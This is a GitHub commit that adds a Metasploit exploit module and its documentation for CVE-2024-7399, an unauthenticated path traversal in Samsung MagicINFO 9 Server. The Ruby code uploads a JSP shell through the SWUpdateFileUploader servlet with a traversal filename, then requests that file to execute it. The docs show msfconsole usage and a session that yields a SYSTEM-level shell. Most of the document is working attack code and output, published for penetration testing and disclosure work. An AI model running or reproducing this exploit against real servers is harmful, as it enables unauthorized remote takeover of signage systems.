Skip to content

Commit 803581a

Browse files
committed
1 parent 1c94b2c commit 803581a

File tree

2 files changed

+183
-0
lines changed

2 files changed

+183
-0
lines changed
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 21.1050.0 (CVE-2024-7399).
6+
7+
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
8+
which can be queried by an unauthenticated user to upload a JSP shell.
9+
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT
10+
AUTHORITY\SYSTEM.
11+
12+
**Vulnerable Application Installation**
13+
14+
A trial version of the software can be obtained from [the vendor]
15+
(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/).
16+
17+
**Successfully tested on**
18+
19+
- MagicINFO 9 21.1040.2 on Windows 10 (22H2)
20+
21+
## Verification Steps
22+
23+
1. Install Postgres or MySQL
24+
2. Install the application
25+
3. Activate the license
26+
4. Start `msfconsole` and run the following commands:
27+
28+
```
29+
msf6 > use exploit/windows/http/magicinfo_traversal
30+
msf6 exploit(windows/http/magicinfo_traversal) > set RHOSTS <IP>
31+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
32+
```
33+
34+
You should get a shell in the context of `NY AUTHORITY\SYSTEM`.
35+
36+
## Scenarios
37+
38+
Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the
39+
following:
40+
41+
```
42+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
43+
44+
[*] Started reverse TCP handler on 192.168.137.204:4444
45+
[*] Running automatic check ("set AutoCheck false" to disable)
46+
[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2
47+
[+] The target appears to be vulnerable.
48+
[*] Uploading payload...
49+
[*] Upload successful
50+
[*] Payload executed!
51+
[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400
52+
53+
54+
Shell Banner:
55+
Microsoft Windows [Version 10.0.19045.3208]
56+
(c) Microsoft Corporation. All rights reserved.
57+
58+
C:\MagicInfo Premium\tomcat\bin>
59+
-----
60+
61+
62+
C:\MagicInfo Premium\tomcat\bin>whoami
63+
whoami
64+
nt authority\system
65+
66+
C:\MagicInfo Premium\tomcat\bin>
67+
```
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
include Msf::Exploit::FileDropper
5+
prepend Msf::Exploit::Remote::AutoCheck
6+
7+
def initialize(info = {})
8+
super(
9+
update_info(
10+
info,
11+
'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
12+
'Description' => %q{
13+
Remote Code Execution in Samsung MagicINFO 9 Server.
14+
Remote code execution can be obtained by exploiting a path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, which can be queried by an unauthenticated user.
15+
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
16+
},
17+
'License' => MSF_LICENSE,
18+
'Author' => [
19+
'Michael Heinzl', # MSF Module
20+
'SSD Secure Disclosure' # Discovery and PoC
21+
],
22+
'References' => [
23+
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'],
24+
[ 'CVE', '2024-7399']
25+
],
26+
'DisclosureDate' => '2025-04-30',
27+
'Platform' => [ 'windows' ],
28+
'Arch' => [ ARCH_CMD ],
29+
'Targets' => [
30+
[
31+
'Java Server Page', {
32+
'Platform' => %w[win linux unix],
33+
'Arch' => ARCH_JAVA
34+
}
35+
]
36+
],
37+
'DefaultTarget' => 0,
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'Reliability' => [REPEATABLE_SESSION],
41+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
42+
}
43+
)
44+
)
45+
46+
register_options(
47+
[
48+
Opt::RPORT(7002),
49+
OptString.new('TARGETURI', [ true, 'The URI for the MagicInfo web interface', '/MagicInfo'])
50+
]
51+
)
52+
end
53+
54+
def check
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => normalize_uri(target_uri.path, 'config.js')
58+
})
59+
60+
return CheckCode::Unknown unless res && res.code == 200
61+
62+
js_object = res.body.to_s[/window\.globalConfig\s*=\s*(\{.*\})/m, 1]
63+
64+
unless js_object
65+
fail_with(Failure::UnexpectedReply, 'Could not extract globalConfig object from response')
66+
end
67+
68+
json_safe = js_object.gsub(/'/, '"')
69+
json_safe.gsub!(/,(\s*[}\]])/, '\1')
70+
data = JSON.parse(json_safe)
71+
72+
full_version = data['magicInfoFrontEndVersion']
73+
version = full_version[/Server\s+([\d.]+)/, 1]
74+
75+
if Rex::Version.new(version) <= Rex::Version.new('21.1050.0')
76+
vprint_status("MagicINFO version detected: #{full_version}")
77+
return CheckCode::Appears
78+
else
79+
return CheckCode::Safe
80+
end
81+
end
82+
83+
def exploit
84+
execute_command(payload.encoded)
85+
end
86+
87+
def execute_command(_cmd)
88+
print_status('Uploading shell...')
89+
90+
post_data = _cmd
91+
92+
res = send_request_cgi({
93+
'method' => 'POST',
94+
'ctype' => 'text/plain',
95+
'data' => post_data,
96+
'uri' => normalize_uri(target_uri.path, 'servlet/SWUpdateFileUploader?fileName=./../../../../../../server/shell2.jsp&deviceType=abc&deviceModelName=test&swVer=123')
97+
98+
})
99+
100+
if res && res.code == 200
101+
print_good('Upload successful.')
102+
res1 = send_request_cgi({
103+
'uri' => normalize_uri(target_uri.path, 'shell2.jsp'),
104+
'method' => 'GET'
105+
})
106+
if res1 && res1.code == 200
107+
print_status('Payload executed!')
108+
else
109+
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.')
110+
end
111+
else
112+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
113+
end
114+
end
115+
116+
end

0 commit comments

Comments
 (0)